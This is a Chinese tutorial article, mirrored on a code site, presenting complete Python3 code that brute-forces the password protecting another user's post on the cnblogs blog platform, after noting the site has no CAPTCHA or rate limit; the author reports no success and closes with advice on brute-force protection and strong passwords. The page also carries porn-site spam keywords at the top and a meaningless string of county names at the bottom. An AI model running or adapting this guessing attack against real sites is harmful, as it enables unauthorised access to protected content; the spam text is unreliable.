最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python3實(shí)現(xiàn)暴力窮舉博客園密碼

 更新時間:2016年06月19日 16:43:59   作者:黑暗圣堂武士  
這篇文章主要介紹了python3實(shí)現(xiàn)暴力窮舉博客園密碼的相關(guān)資料,需要的朋友可以參考下

我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發(fā)現(xiàn)極路由有安全限制,只能允許連續(xù)10密碼錯誤,所以我改拿博客園練手。

博客園的博客有個功能是給博文設(shè)置一個密碼,輸入正確的密碼才能看到文章的內(nèi)容。經(jīng)過測試發(fā)現(xiàn)這個密碼驗(yàn)證功能,既沒有驗(yàn)證碼也沒有提交頻率的限制,

要寫這個針對博客園的密碼暴力破解器模型會非常簡單,很好實(shí)現(xiàn)。

比如打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分布式,

這個程序會有這么兩個部分:

1、我需要一個生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。

2、我需要不停的提交密碼,直到認(rèn)為密碼正確,記錄密碼,退出程序。

-_-!為什么使用生成器?

python2中range() 不是一個生成器,當(dāng)你range(N),N為一個很大的數(shù)時...python就會爆炸?。?!哈哈哈..

寫細(xì)致的博客太消耗時間和心力,我這里不寫具體的分析過程了,后面直接上代碼,如果看不懂,查相關(guān)關(guān)鍵詞就可以,畢竟基礎(chǔ)教程性的文章和內(nèi)容非常之多。

tqdm是一個python進(jìn)度條庫,requests是一個簡單優(yōu)雅的http庫,

product是python3的標(biāo)準(zhǔn)庫itertools下的函數(shù),可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個密碼。

"""
python3暴力窮舉密碼
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密碼生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因?yàn)檫@個才POST的目標(biāo)地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密碼后,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那么認(rèn)為猜到正確的密碼了。
        with open("resut.csv","a+") as f:
          f.write('密碼破解成功結(jié)果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,這個程序運(yùn)行速度大約是每秒提交6次密碼,我運(yùn)行了30個小時,也不過是迭代幾十萬次,并沒有能把密碼破解出來,沒有產(chǎn)生實(shí)質(zhì)性的危害。

總結(jié):

1、密碼驗(yàn)證的地方適當(dāng)增加一些防止暴力破解的手段。

2、仍然有必要使用復(fù)雜的密碼提高安全度。雖然這樣的一個簡單的程序并沒有什么卵用。

相關(guān)文章

  • 十分鐘輕松掌握dataframe數(shù)據(jù)選擇

    十分鐘輕松掌握dataframe數(shù)據(jù)選擇

    這篇文章主要介紹了十分鐘輕松掌握dataframe數(shù)據(jù)選擇,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-04-04
  • Python配置mysql的教程(推薦)

    Python配置mysql的教程(推薦)

    下面小編就為大家?guī)硪黄狿ython配置mysql的教程(推薦)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-10-10
  • Python中的文件輸入輸出問題

    Python中的文件輸入輸出問題

    這篇文章主要介紹了Python中的文件輸入輸出問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-11-11
  • pandas DataFrame mul的具體實(shí)現(xiàn)

    pandas DataFrame mul的具體實(shí)現(xiàn)

    pandas.DataFrame.mul()?方法用于執(zhí)行逐元素的乘法操作,本文主要介紹了pandas DataFrame mul的具體實(shí)現(xiàn),具有一定的參考價值,感興趣的可以了解一下
    2025-04-04
  • Python程序設(shè)計入門(2)變量類型簡介

    Python程序設(shè)計入門(2)變量類型簡介

    這篇文章主要介紹了Python變量類型,需要的朋友可以參考下
    2014-06-06
  • python str字符串轉(zhuǎn)uuid實(shí)例

    python str字符串轉(zhuǎn)uuid實(shí)例

    這篇文章主要介紹了python str字符串轉(zhuǎn)uuid實(shí)例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-03-03
  • Django url反向解析的實(shí)現(xiàn)

    Django url反向解析的實(shí)現(xiàn)

    本文主要介紹了Django url反向解析的實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-12-12
  • 利用Python實(shí)現(xiàn)在PDF文檔中插入文字水印

    利用Python實(shí)現(xiàn)在PDF文檔中插入文字水印

    在傳播PDF文檔的過程中,如何有效地保護(hù)文檔的版權(quán)和所有權(quán),防止非法復(fù)制和濫用,成為了一個不可忽視的問題,所以給PDF文檔添加水印便成了一種行之有效的保護(hù)手,本文將展示如何使用Python在PDF文檔中插入文字水印,實(shí)現(xiàn)高效的PDF文檔處理,需要的朋友可以參考下
    2024-04-04
  • pytorch 搭建神經(jīng)網(wǎng)路的實(shí)現(xiàn)

    pytorch 搭建神經(jīng)網(wǎng)路的實(shí)現(xiàn)

    這篇文章主要介紹了pytorch 搭建神經(jīng)網(wǎng)路,文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-08-08
  • Python如何實(shí)現(xiàn)大型數(shù)組運(yùn)算(使用NumPy)

    Python如何實(shí)現(xiàn)大型數(shù)組運(yùn)算(使用NumPy)

    這篇文章主要介紹了Python如何實(shí)現(xiàn)大型數(shù)組運(yùn)算,文中講解非常細(xì)致,幫助大家更好的了解和學(xué)習(xí),感興趣的朋友可以了解下
    2020-07-07

最新評論

丹东市| 红桥区| 淮阳县| 花莲县| 阿勒泰市| 皋兰县| 宝清县| 紫阳县| 长汀县| 康乐县| 鄂州市| 兰州市| 洪泽县| 三穗县| 新安县| 横山县| 白银市| 双桥区| 乐清市| 双牌县| 三亚市| 彝良县| 彭水| 福清市| 灵山县| 云安县| 靖西县| 东源县| 五华县| 恩施市| 泉州市| 太湖县| 新竹县| 成武县| 通辽市| 库车县| 紫阳县| 科技| 博罗县| 瓦房店市| 堆龙德庆县|